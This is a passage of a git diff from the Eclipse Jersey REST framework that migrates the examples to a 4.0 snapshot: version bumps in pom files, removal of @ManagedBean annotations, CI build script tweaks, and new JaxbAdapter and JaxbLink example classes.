 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/project/jersey-gf-ejb/dependencies.html">
     jersey-gf-ejb
 </link>
@@ -187,14 +179,6 @@
 </row>
 <row>
 <entry>
-<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-apache-connector/dependencies.html">
-    jersey-apache-connector
-</link>
-</entry>
-<entry>Jersey Client Transport via Apache</entry>
-</row>
-<row>
-<entry>
 <link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-grizzly-connector/dependencies.html">
     jersey-grizzly-connector
 </link>
@@ -223,15 +207,7 @@
     jersey-jetty-connector
 </link>
 </entry>
-<entry>Jersey Client Transport via Jetty (for JDK 17+)</entry>
-</row>
-<row>
-<entry>
-<link xlink:href="https://eclipse-ee4j.github.io/jersey.github.io/project-info/&version;/jersey/project/jersey-jetty11-connector/dependencies.html">
-    jersey-jetty11-connector
-</link>
-</entry>
-<entry>Jersey Client Transport via Jetty 11.x</entry>
+<entry>Jersey Client Transport via Jetty</entry>
 </row>
             <!-- TODO - HTTP/2 support for Jetty 12 container -->
 <row>
diff --git a/etc/jenkins/Jenkinsfile_ci_build b/etc/jenkins/Jenkinsfile_ci_build
index 276cc17..dc56f74 100644
--- a/etc/jenkins/Jenkinsfile_ci_build
+++ b/etc/jenkins/Jenkinsfile_ci_build
@@ -10,21 +10,20 @@
     stages {
         stage('Jersey build') {
             parallel {
-                stage('JDK 11') {
-                    agent {
-                        label 'centos-7'
-                    }
-                    tools {
-                        jdk 'openjdk-jdk11-latest'
-                        maven 'apache-maven-latest'
-                    }
-                    steps {
-                        sh '''
-                                bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
-                                bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh
-                            '''
-                    }
-                }
+//                stage('JDK 17') {
+//                    agent {
+//                        label 'centos-7'
+//                    }
+//                    tools {
+//                        jdk 'openjdk-jdk17-latest'
+//                        maven 'apache-maven-latest'
+//                    }
+//                    steps {
+//                        sh '''
+//                                bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
+//                            '''
+//                    }
+//                }
                 stage('JDK 21') {
                     agent {
                         label 'centos-7'
@@ -36,7 +35,6 @@
                     steps {
                         sh '''
                                 bash ${WORKSPACE}/etc/jenkins/jenkins_build.sh
-                                export EXCLUDE_ARGS=' -pl !:jersey-container-jetty11-http,!:jersey-jetty11-connector '
                                 bash ${WORKSPACE}/etc/scripts/validation/dependency-convergence.sh
                             '''
                     }
diff --git a/etc/scripts/apidocs.sh b/etc/scripts/apidocs.sh
index 12b2364..097dfc6 100755
--- a/etc/scripts/apidocs.sh
+++ b/etc/scripts/apidocs.sh
@@ -1,3 +1,3 @@
 #!/bin/bash
 
-mvn -U -V -B clean install -Ppre-release -pl :apidocs -am -DskipTests
\ No newline at end of file
+mvn -U -V -B clean install -Ppre-release -Pstaging -pl :apidocs -am -DskipTests
\ No newline at end of file
diff --git a/etc/scripts/checkstyle.sh b/etc/scripts/checkstyle.sh
index ad36942..4afc1a9 100755
--- a/etc/scripts/checkstyle.sh
+++ b/etc/scripts/checkstyle.sh
@@ -1,3 +1,3 @@
 #!/bin/bash
 
-mvn -V -U -B  checkstyle:checkstyle-aggregate -Dcheckstyle.output.format="plain" -Dcheckstyle.output.file=checkstyle.log
\ No newline at end of file
+mvn -V -U -B  -Pstaging checkstyle:checkstyle-aggregate -Dcheckstyle.output.format="plain" -Dcheckstyle.output.file=checkstyle.log
\ No newline at end of file
diff --git a/etc/scripts/validation/pom.template.xml b/etc/scripts/validation/pom.template.xml
index 1e58300..08a65ea 100644
--- a/etc/scripts/validation/pom.template.xml
+++ b/etc/scripts/validation/pom.template.xml
@@ -36,6 +36,6 @@
     </dependencies>
 
     <properties>
-        <jersey.version>3.0.99-SNAPSHOT</jersey.version>
+        <jersey.version>4.0.99-SNAPSHOT</jersey.version>
     </properties>
 </project>
\ No newline at end of file
diff --git a/examples/NOTICE.md b/examples/NOTICE.md
index ed616c2..334e13d 100644
--- a/examples/NOTICE.md
+++ b/examples/NOTICE.md
@@ -37,9 +37,9 @@
 * Project: http://aopalliance.sourceforge.net
 * Copyright: Material in the public domain is not protected by copyright
 
-Bean Validation API 3.0.2
+Bean Validation API 3.1.0
 * License: Apache License, 2.0
-* Project: http://beanvalidation.org/3.0/
+* Project: https://beanvalidation.org/3.0/
 * Copyright: 2009, 2020 Red Hat, Inc. and/or its affiliates, and individual contributors
 * by the @authors tag.
 
diff --git a/examples/assemblies/pom.xml b/examples/assemblies/pom.xml
index 65fcba6..24e12e6 100644
--- a/examples/assemblies/pom.xml
+++ b/examples/assemblies/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>assemblies</artifactId>
diff --git a/examples/bookmark-em/pom.xml b/examples/bookmark-em/pom.xml
index 313f013..91e21a6 100644
--- a/examples/bookmark-em/pom.xml
+++ b/examples/bookmark-em/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bookmark-em</artifactId>
diff --git a/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/entity/BookmarkEntity.java b/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/entity/BookmarkEntity.java
index 8d31bc2..834180b 100644
--- a/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/entity/BookmarkEntity.java
+++ b/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/entity/BookmarkEntity.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -13,7 +13,6 @@
 import java.io.Serializable;
 import java.util.Date;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.persistence.Column;
 import jakarta.persistence.EmbeddedId;
 import jakarta.persistence.Entity;
@@ -42,7 +41,6 @@
         @NamedQuery(name = "BookmarkEntity.findByLdesc", query = "SELECT b FROM BookmarkEntity b WHERE b.ldesc = :ldesc"),
         @NamedQuery(name = "BookmarkEntity.findBySdesc", query = "SELECT b FROM BookmarkEntity b WHERE b.sdesc = :sdesc")
 })
-@ManagedBean
 @SuppressWarnings("UnusedDeclaration")
 public class BookmarkEntity implements Serializable {
 
diff --git a/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/resource/UsersResource.java b/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/resource/UsersResource.java
index 464b75e..f2a5899 100644
--- a/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/resource/UsersResource.java
+++ b/examples/bookmark-em/src/main/java/org/glassfish/jersey/examples/bookmark_em/resource/UsersResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2012, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2012, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -21,7 +21,6 @@
 import jakarta.ws.rs.core.UriBuilder;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.Resource;
 import jakarta.persistence.EntityManager;
 import jakarta.persistence.PersistenceContext;
@@ -35,7 +34,6 @@
  * @author Jakub Podlesak
  */
 @Path("/users/")
-@ManagedBean
 public class UsersResource {
 
     // injected EntityManager property
diff --git a/examples/bookmark/pom.xml b/examples/bookmark/pom.xml
index 0096e1e..516fcc0 100644
--- a/examples/bookmark/pom.xml
+++ b/examples/bookmark/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bookmark</artifactId>
diff --git a/examples/bookstore-webapp/pom.xml b/examples/bookstore-webapp/pom.xml
index ae176c7..45698dd 100644
--- a/examples/bookstore-webapp/pom.xml
+++ b/examples/bookstore-webapp/pom.xml
@@ -35,7 +35,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>bookstore-webapp</artifactId>
diff --git a/examples/cdi-webapp/pom.xml b/examples/cdi-webapp/pom.xml
index 3bc4fba..47e0967 100644
--- a/examples/cdi-webapp/pom.xml
+++ b/examples/cdi-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>cdi-webapp</artifactId>
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamConstructorResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamConstructorResource.java
index 4abe81b..e990bf5 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamConstructorResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamConstructorResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,7 +18,6 @@
 import jakarta.ws.rs.Produces;
 import jakarta.ws.rs.core.MediaType;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.PostConstruct;
 
 import jakarta.inject.Inject;
@@ -28,7 +27,6 @@
  *
  * @author Roberto Chinnici
  */
-@ManagedBean
 @Path("echoparamconstructor/{a}")
 public class EchoParamConstructorResource {
 
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamFieldResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamFieldResource.java
index a2b8c40..2febeee 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamFieldResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamFieldResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -16,7 +16,6 @@
 import jakarta.ws.rs.PathParam;
 import jakarta.ws.rs.QueryParam;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.PostConstruct;
 
 /**
@@ -25,7 +24,6 @@
  * @author Roberto Chinnici
  * @author Jakub Podlesak
  */
-@ManagedBean
 @Path("echofield/{b}")
 public class EchoParamFieldResource {
 
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamResource.java
index cd5b9eb..97904ed 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/EchoParamResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -15,14 +15,11 @@
 import jakarta.ws.rs.Path;
 import jakarta.ws.rs.PathParam;
 
-import jakarta.annotation.ManagedBean;
-
 /**
  * A managed bean that uses (but does not inject) a path parameter.
  *
  * @author Roberto Chinnici
  */
-@ManagedBean
 @Path("echo/{a}")
 public class EchoParamResource {
 
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/HelloWorldResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/HelloWorldResource.java
index 698ce9d..85ab758 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/HelloWorldResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/HelloWorldResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -14,14 +14,11 @@
 import jakarta.ws.rs.Produces;
 import jakarta.ws.rs.Path;
 
-import jakarta.annotation.ManagedBean;
-
 /**
  * A managed bean with no use of injection whatsoever.
  *
  * @author Roberto Chinnici.
  */
-@ManagedBean
 @Path("/helloworld")
 public class HelloWorldResource {
 
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MyOtherResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MyOtherResource.java
index 9b5569f..b2277f9 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MyOtherResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MyOtherResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -18,8 +18,6 @@
 import jakarta.ws.rs.core.Request;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
-
 import jakarta.enterprise.context.RequestScoped;
 
 import jakarta.interceptor.AroundInvoke;
@@ -32,7 +30,6 @@
  * @author Roberto Chinnici
  * @author Jakub Podlesak
  */
-@ManagedBean
 @RequestScoped
 @Path("/other/{c}/{d}")
 public class MyOtherResource {
diff --git a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MySingletonResource.java b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MySingletonResource.java
index 256b718..f81331e 100644
--- a/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MySingletonResource.java
+++ b/examples/cdi-webapp/src/main/java/org/glassfish/jersey/examples/cdi/resources/MySingletonResource.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -20,7 +20,6 @@
 import jakarta.ws.rs.core.Request;
 import jakarta.ws.rs.core.UriInfo;
 
-import jakarta.annotation.ManagedBean;
 import jakarta.annotation.Resource;
 import jakarta.enterprise.context.ApplicationScoped;
 
@@ -30,7 +29,6 @@
  * @author Roberto Chinnici
  * @author Jakub Podlesak
  */
-@ManagedBean
 @ApplicationScoped
 @Path("/singleton")
 public class MySingletonResource {
diff --git a/examples/clipboard-programmatic/pom.xml b/examples/clipboard-programmatic/pom.xml
index e6e41ba..4a680cc 100644
--- a/examples/clipboard-programmatic/pom.xml
+++ b/examples/clipboard-programmatic/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>clipboard-programmatic</artifactId>
diff --git a/examples/clipboard/pom.xml b/examples/clipboard/pom.xml
index 1dfba41..a9aff8f 100644
--- a/examples/clipboard/pom.xml
+++ b/examples/clipboard/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>clipboard</artifactId>
diff --git a/examples/configured-client/pom.xml b/examples/configured-client/pom.xml
index 6e002ea..f23ff2c 100644
--- a/examples/configured-client/pom.xml
+++ b/examples/configured-client/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>configured-client</artifactId>
@@ -138,14 +138,5 @@
                 </plugins>
             </build>
         </profile>
-        <profile>
-            <id>jdk11-</id>
-            <activation>
-                <jdk>(,12)</jdk>
-            </activation>
-            <properties>
-                <helidon.config.version>${helidon.config.11.version}</helidon.config.version>
-            </properties>
-        </profile>
     </profiles>
 </project>
diff --git a/examples/declarative-linking/pom.xml b/examples/declarative-linking/pom.xml
index 8a1cbaa..86e7dcc 100644
--- a/examples/declarative-linking/pom.xml
+++ b/examples/declarative-linking/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>declarative-linking</artifactId>
diff --git a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemRepresentation.java b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemRepresentation.java
index bfaeaa1..7e8997b 100644
--- a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemRepresentation.java
+++ b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemRepresentation.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -70,7 +70,7 @@
             bindings = @Binding(name = "id", value = "${instance.id}"),
             rel = "self"
     )
-    @XmlJavaTypeAdapter(Link.JaxbAdapter.class)
+    @XmlJavaTypeAdapter(JaxbAdapter.class)
     @XmlElement(name = "link")
     Link self;
 
@@ -91,7 +91,7 @@
             )})
     @XmlElement(name = "link")
     @XmlElementWrapper(name = "links")
-    @XmlJavaTypeAdapter(Link.JaxbAdapter.class)
+    @XmlJavaTypeAdapter(JaxbAdapter.class)
     List<Link> links;
 
     public ItemRepresentation() {
diff --git a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemsRepresentation.java b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemsRepresentation.java
index 4d702a2..aecc983 100644
--- a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemsRepresentation.java
+++ b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/ItemsRepresentation.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2010, 2020 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Distribution License v. 1.0, which is available at
@@ -82,7 +82,7 @@
             },
             rel = "self"
     )
-    @XmlJavaTypeAdapter(Link.JaxbAdapter.class)
+    @XmlJavaTypeAdapter(JaxbAdapter.class)
     @XmlElement(name = "link")
     Link self;
 
@@ -111,7 +111,7 @@
             )})
     @XmlElement(name = "link")
     @XmlElementWrapper(name = "links")
-    @XmlJavaTypeAdapter(Link.JaxbAdapter.class)
+    @XmlJavaTypeAdapter(JaxbAdapter.class)
     List<Link> links;
 
     public ItemsRepresentation() {
diff --git a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbAdapter.java b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbAdapter.java
new file mode 100644
index 0000000..b6385dd
--- /dev/null
+++ b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbAdapter.java
@@ -0,0 +1,82 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Distribution License v. 1.0, which is available at
+ * http://www.eclipse.org/org/documents/edl-v10.php.
+ *
+ * SPDX-License-Identifier: BSD-3-Clause
+ */
+
+package org.glassfish.jersey.examples.linking.representation;
+
+import jakarta.ws.rs.core.Link;
+import jakarta.xml.bind.annotation.adapters.XmlAdapter;
+
+import javax.xml.namespace.QName;
+import java.util.Map;
+
+/**
+ * An implementation of JAXB {@link XmlAdapter} that maps the JAX-RS
+ * {@link Link} type to a value that can be marshalled and unmarshalled by JAXB. The following example
+ * shows how to use this adapter on a JAXB bean class:
+ *
+ * <pre>
+ * &#64;XmlRootElement
+ * public class MyModel {
+ *
+ *   private Link link;
+ *
+ *   &#64;XmlElement(name="link")
+ *   &#64;XmlJavaTypeAdapter(JaxbAdapter.class)
+ *   public Link getLink() {
+ *     return link;
+ *   }
+ *   ...
+ * }
+ * </pre>
+ *
+ * <p>
+ *     Note that usage of this class requires the Jakarta XML Binding API and an implementation. The Jakarta RESTful Web
+ *     Services implementation is not required to provide these dependencies.
+ * </p>
+ * <p>
+ *     The class used to be a part Jakarta REST 3.1
+ * </p>
+ *
+ * @see JaxbLink
+ * @since 4.0
+ */
+public class JaxbAdapter extends XmlAdapter<JaxbLink, Link> {
+
+    /**
+     * Convert a {@link JaxbLink} into a {@link Link}.
+     *
+     * @param v instance of type {@link JaxbLink}.
+     * @return mapped instance of type {@link JaxbLink}
+     */
+    @Override
+    public Link unmarshal(final JaxbLink v) {
+        Link.Builder lb = Link.fromUri(v.getUri());
+        for (Map.Entry<QName, Object> e : v.getParams().entrySet()) {
+            lb.param(e.getKey().getLocalPart(), e.getValue().toString());
+        }
+        return lb.build();
+    }
+
+    /**
+     * Convert a {@link Link} into a {@link JaxbLink}.
+     *
+     * @param v instance of type {@link Link}.
+     * @return mapped instance of type {@link JaxbLink}.
+     */
+    @Override
+    public JaxbLink marshal(final Link v) {
+        JaxbLink jl = new JaxbLink(v.getUri());
+        for (Map.Entry<String, String> e : v.getParams().entrySet()) {
+            final String name = e.getKey();
+            jl.getParams().put(new QName("", name), e.getValue());
+        }
+        return jl;
+    }
+}
diff --git a/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbLink.java b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbLink.java
new file mode 100644
index 0000000..7653ffc
--- /dev/null
+++ b/examples/declarative-linking/src/main/java/org/glassfish/jersey/examples/linking/representation/JaxbLink.java
@@ -0,0 +1,151 @@
+/*
+ * Copyright (c) 2024 Oracle and/or its affiliates. All rights reserved.
+ *
+ * This program and the accompanying materials are made available under the
+ * terms of the Eclipse Public License v. 2.0, which is available at
+ * http://www.eclipse.org/legal/epl-2.0.
+ *
+ * This Source Code may also be made available under the following Secondary
+ * Licenses when the conditions for such availability set forth in the
+ * Eclipse Public License v. 2.0 are satisfied: GNU General Public License,
+ * version 2 with the GNU Classpath Exception, which is available at
+ * https://www.gnu.org/software/classpath/license.html.
+ *
+ * SPDX-License-Identifier: EPL-2.0 OR GPL-2.0 WITH Classpath-exception-2.0
+ */
+
+package org.glassfish.jersey.examples.linking.representation;
+
+import jakarta.xml.bind.annotation.XmlAnyAttribute;
+import jakarta.xml.bind.annotation.XmlAttribute;
+
+import javax.xml.namespace.QName;
+import java.net.URI;
+import java.util.HashMap;
+import java.util.Map;
+import java.util.Objects;
+
+/**
+ * <p>
+ *     Value type for {@link jakarta.ws.rs.core.Link} that can be marshalled and
+ *     unmarshalled by JAXB.
+ * </p>
+ * <p>
+ *     Note that usage of this class requires the Jakarta XML Binding API and an implementation. The Jakarta RESTful Web
+ *     Services implementation is not required to provide these dependencies.
+ * </p>
+ * <p>
+ *     The class used to be a part Jakarta REST API 3.1.
+ * </p>
+ *
+ * @see JaxbAdapter
+ * @since 4.0
+ */
+public class JaxbLink {
+
+    private URI uri;
+    private Map<QName, Object> params;
+
+    /**
+     * Default constructor needed during unmarshalling.
+     */
+    public JaxbLink() {
+    }
+
+    /**
+     * Construct an instance from a URI and no parameters.
+     *
+     * @param uri underlying URI.
+     */
+    public JaxbLink(final URI uri) {
+        this.uri = uri;
+    }
+
+    /**
+     * Construct an instance from a URI and some parameters.
+     *
+     * @param uri underlying URI.
+     * @param params parameters of this link.
+     */
+    public JaxbLink(final URI uri, final Map<QName, Object> params) {
+        this.uri = uri;
+        this.params = params;
+    }
+
+    /**
+     * Get the underlying URI for this link.
+     *
+     * @return underlying URI.
+     */
+    @XmlAttribute(name = "href")
+    public URI getUri() {
+        return uri;
+    }
+
+    /**
+     * Get the parameter map for this link.
+     *
+     * @return parameter map.
+     */
+    @XmlAnyAttribute
+    public Map<QName, Object> getParams() {
+        if (params == null) {
+            params = new HashMap<QName, Object>();
+        }
+        return params;
+    }
+
+    /**
+     * Set the underlying URI for this link.
+     *
+     * This setter is needed for JAXB unmarshalling.
+     */
+    void setUri(final URI uri) {
+        this.uri = uri;
+    }
+
+    /**
+     * Set the parameter map for this link.
+     *
+     * This setter is needed for JAXB unmarshalling.
+     */
+    void setParams(final Map<QName, Object> params) {
+        this.params = params;
+    }
+
+    @Override
+    public boolean equals(final Object o) {
+        if (this == o) {
+            return true;
+        }
+        if (!(o instanceof JaxbLink)) {
+            return false;
+        }
+
+        JaxbLink jaxbLink = (JaxbLink) o;
+
+        if (uri != null ? !uri.equals(jaxbLink.uri) : jaxbLink.uri != null) {
+            return false;
+        }
+
+        if (params == jaxbLink.params) {
+            return true;
+        }
+        if (params == null) {
+            // if this.params is 'null', consider other.params equal to empty
+            return jaxbLink.params.isEmpty();
+        }
+        if (jaxbLink.params == null) {
+            // if other.params is 'null', consider this.params equal to empty
+            return params.isEmpty();
+        }
+
+        return params.equals(jaxbLink.params);
+    }
+
+    @Override
+    public int hashCode() {
+        return Objects.hash(uri, params);
+    }
+
+}
diff --git a/examples/entity-filtering-security/pom.xml b/examples/entity-filtering-security/pom.xml
index 21301d0..885a20a 100644
--- a/examples/entity-filtering-security/pom.xml
+++ b/examples/entity-filtering-security/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>entity-filtering-security</artifactId>
diff --git a/examples/entity-filtering-selectable/pom.xml b/examples/entity-filtering-selectable/pom.xml
index 4c674bb..c39d7b5 100644
--- a/examples/entity-filtering-selectable/pom.xml
+++ b/examples/entity-filtering-selectable/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>entity-filtering-selectable</artifactId>
diff --git a/examples/entity-filtering/pom.xml b/examples/entity-filtering/pom.xml
index 2c01d1a..2f0060a 100644
--- a/examples/entity-filtering/pom.xml
+++ b/examples/entity-filtering/pom.xml
@@ -18,7 +18,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>entity-filtering</artifactId>
diff --git a/examples/exception-mapping/pom.xml b/examples/exception-mapping/pom.xml
index 3b7acfe..36a5093 100644
--- a/examples/exception-mapping/pom.xml
+++ b/examples/exception-mapping/pom.xml
@@ -17,7 +17,7 @@
     <parent>
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>project</artifactId>
-        <version>3.1.99-SNAPSHOT</version>
+        <version>4.0.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>exception-mapping</artifactId>
diff --git a/examples/extended-wadl-webapp/pom.xml b/examples/extended-wadl-webapp/pom.xml
index 6cc3283..efae213 100644
--- a/examples/extended-wadl-webapp/pom.xml
+++ b/examples/extended-wadl-webapp/pom.xml
@@ -19,7 +19,7 @@
         <groupId>org.glassfish.jersey.examples</groupId>
         <artifactId>webapp-example-parent</artifactId>
         <relativePath>../webapp-example-parent/pom.xml</relativePath>
-        <version>3.1.99-SNAPSHOT</version>
